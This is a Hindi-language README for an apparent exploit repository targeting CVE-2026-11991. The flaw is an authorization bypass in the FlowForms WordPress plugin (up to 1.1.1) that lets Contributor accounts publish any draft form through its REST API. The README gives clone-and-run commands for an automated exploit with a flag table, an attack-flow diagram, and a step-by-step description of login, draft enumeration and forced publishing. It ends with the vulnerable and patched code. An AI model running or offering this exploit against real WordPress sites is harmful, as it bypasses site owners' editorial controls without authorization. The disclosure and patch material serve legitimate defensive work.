
CVE-2026-11991 के लिए स्वचालित एक्सप्लॉइट, FlowForms WordPress प्लगइन में एक प्राधिकरण बायपास जो Contributor+ उपयोगकर्ताओं को तैयार किए गए REST API अनुरोधों के माध्यम से किसी भी ड्राफ्ट फॉर्म को प्रकाशित करने की अनुमति देता है।
प्रमाणित (Contributor+) प्राधिकरण बायपास जो FlowForms ≤ 1.1.1 में किसी भी ड्राफ्ट फॉर्म को प्रकाशित कर सकता है
| Property | Value |
|---|---|
| CVE ID | CVE-2026-11991 |
| CVSS Score | 6.2 — मध्यम |
| CVSS Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास) |
| Product | FlowForms — WordPress संवादात्मक फॉर्म निर्माता प्लगइन |
| Affected | 1.1.1 तक के सभी संस्करण |
| Fixed In | 1.1.2 |
| Researcher | Phantom Hat |
स्रोत कोड विश्लेषण, इनपुट प्रवाह ट्रेसिंग और पैच डिफिंग के साथ पूर्ण व्हाइट-बॉक्स केस स्टडी:
FlowForms flowforms/v1 नेमस्पेस के अंतर्गत एक REST API उजागर करता है। प्रकाशन एंडपॉइंट:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
URL पथ में उपयोगकर्ता-नियंत्रित {id} स्वीकार करता है और ड्राफ्ट फॉर्म को लाइव साइट पर प्रचारित करता है।
/publish रूट के लिए permission_callback केवल एक सामान्य क्षमता जांच करता है:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts एक ऐसी क्षमता है जो Contributors के पास होती है — एक ऐसी भूमिका जिसे WordPress जानबूझकर सामग्री प्रकाशित करने से प्रतिबंधित करता है। लक्ष्य form_id के विरुद्ध स्वामित्व सत्यापन बिल्कुल नहीं होता। कोई भी प्रमाणित उपयोगकर्ता साइट पर किसी भी ड्राफ्ट फॉर्म को प्रकाशित कर सकता है।
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Contributor के रूप में प्रमाणित करें
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) REST nonce प्राप्त करें
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) ड्राफ्ट फॉर्म की गणना करें
│<─ "Form Not Published" ───────────│ (अप्रमाणित प्रतिक्रिया)
│ │
│── POST /flowforms/v1/forms/ │ (4) किसी भी ड्राफ्ट फॉर्म ID पर
│ {id}/publish ─────────────>│ प्रकाशन ट्रिगर करें
│ │ ← कोई स्वामित्व जांच नहीं
│<─ { "success": true } ────────────│
│ │
│ फॉर्म अब साइट पर LIVE है │ (5) ड्राफ्ट संपादकीय अनुमोदन के
│ बिना संपादकीय अनुमोदन │ बिना कार्यप्रवाह को बायपास करता है
Contributor भूमिका वाला एक प्रमाणित खाताgit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Flag | Description | Required |
|---|---|---|
--url | लक्ष्य WordPress URL | ✅ |
--user | WordPress उपयोगकर्ता नाम (Contributor+) | ✅ |
--password | WordPress पासवर्ड | ✅ |
--num_forms | गणना करने के लिए फॉर्म ID की संख्या | ✅ |
--id_start | गणना के लिए प्रारंभिक फॉर्म ID | ✅ |
--proxy | प्रॉक्सी URL (जैसे http://127.0.0.1:8080) | ❌ |
एक्सप्लॉइट तीन स्वचालित चरण करता है:
चरण 1 — प्रमाणीकरण
हमलावर (Contributor) के रूप में लॉग इन करता है और wp-admin से एक वैध REST API nonce प्राप्त करता है।
चरण 2 — ड्राफ्ट की गणना
निर्दिष्ट ID सीमा में GET /flowform/{id} स्कैन करता है। "Form Not Published" लौटाने वाले फॉर्म लक्ष्य के रूप में एकत्र किए जाते हैं — ये ड्राफ्ट फॉर्म हैं जिन पर हमलावर का कोई स्वामित्व नहीं है।
चरण 3 — प्रकाशन
हमलावर के nonce के साथ POST /flowforms/v1/forms/{id}/publish भेजता है। एंडपॉइंट अनुरोध स्वीकार करता है, ड्राफ्ट को प्रचारित करता है, और फॉर्म को लाइव बनाता है — स्वामित्व पर शून्य प्राधिकरण जांच के साथ।
| Action | Details |
|---|---|
| पैच | सामान्य edit_posts जांच को current_user_can('edit_post', $form_id) से बदलें — दूसरा तर्क क्षमता जांच को विशिष्ट पोस्ट ऑब्जेक्ट से बांधता है, WordPress स्वामित्व नियमों को लागू करता है |
| शमन | पैच होने तक, यदि प्लगइन सक्रिय है तो Contributor और Author भूमिकाओं को प्रतिबंधित करें |
// VULNERABLE
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),